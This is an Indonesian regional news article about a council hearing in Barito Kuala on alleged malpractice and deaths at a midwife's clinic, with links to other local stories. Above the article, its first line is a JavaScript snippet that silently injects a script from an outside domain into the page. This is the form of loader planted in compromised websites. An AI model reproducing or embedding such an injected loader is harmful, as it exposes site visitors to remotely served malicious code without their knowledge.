(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – DPRD Kabupaten Barito Kuala tindak lanjuti aduan masyarakat, terkait adanya dugaan malapraktik Klinik Bersalin yang kerap menelan korban jiwa.
Dalam rapat kerja komisi gabungan dengan Dinas Kesehatan (Dinkes) itu Ketua Komisi II DPRD Batola Nanang Kaderi mempertanyakan pengawasan Dinkes atas laporan masyarakat tersebut.
“Terkait praktik Bidan Mirna sudah ditindaklanjuti Dinas Kesehatan dengan melakukan penerbitan surat rekomendasi penutupan klinik,” ungkapnya, Senin (13/03/2023).
Ia juga menekankan, Dinkes harus mempunyai data dan jaringan hingga ke desa, agar pengawasannya bisa ditingkatkan, guna dapat menjalankan fungsi dan tugas sebagai pelayan masyarakat.
Baca juga: Pasar Murah di Sungai Miai, Tebus Rp 45 Ribu Bawa Sembako Senilai Rp 150 Ribu
“Ini membuktikan kepada masyarakat dengan adanya laporan kita langsung menindaklanjuti memanggil dinas terkait,” tambahnya.
Sementara itu, Kepala Dinas Kesehatan Batola dr. Azizah mengatakan, pihaknya mengakui menerima laporan bahwa Klinik Bidan Mirna melakukan sesuatu tindakan diluar kewenangan, sehingga dilaporkan oleh masyarakat.
Setelah melakukan evalusi, pihaknya menerbitkan surat ke Dinas Penanaman Modal, Perizinan Terpadu Satu Pintu untuk dapat melakukan penutupan sementara izin praktik.
“Sampai dengan hari ini, ternyata masih terdapat hal-hal yang masih tidak sesuai dengan yang kita sarankan, hingga pengaduan sampai ke DPRD Batola,” beber dr. Azizah.
Selanjutnya kedepan pihaknya akan memperkuat pemantauan selama 6 bulan berjalan, dan dengan dorongan DPRD, pihaknya akan melayangkan surat rekomendasi untuk menutup permanen.
“Berdasarkan laporan, korbannya bukan hanya di wilayah Batola, tapi di luar Batola, tapi prakteknya di Batola,” tambahnya.
Baca juga: Truk Fuso Nyemplung di Sungai Lamandau, Sopir Belum Ditemukan
Kepala Dinkes menguraikan, di antara kasus yang dilaporkan adalah kesalahan pemasangan alat kontrasepsi dalam rahim, kemudian juga ada ibu hamil yang seharusnya ditangani rumah sakit namun ditanggulangi sendiri hingga mengakibatkan meninggal dunia.
“Selain itu, mungkin ada beberapa juga yang meninggal dunia berdasarkan informasi yang dihimpun, namun juga ada yang tidak melapor,” pungkasnya.(kanalkalimantan.com/rdy)
Reporter : Rdy
Editor : KK
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.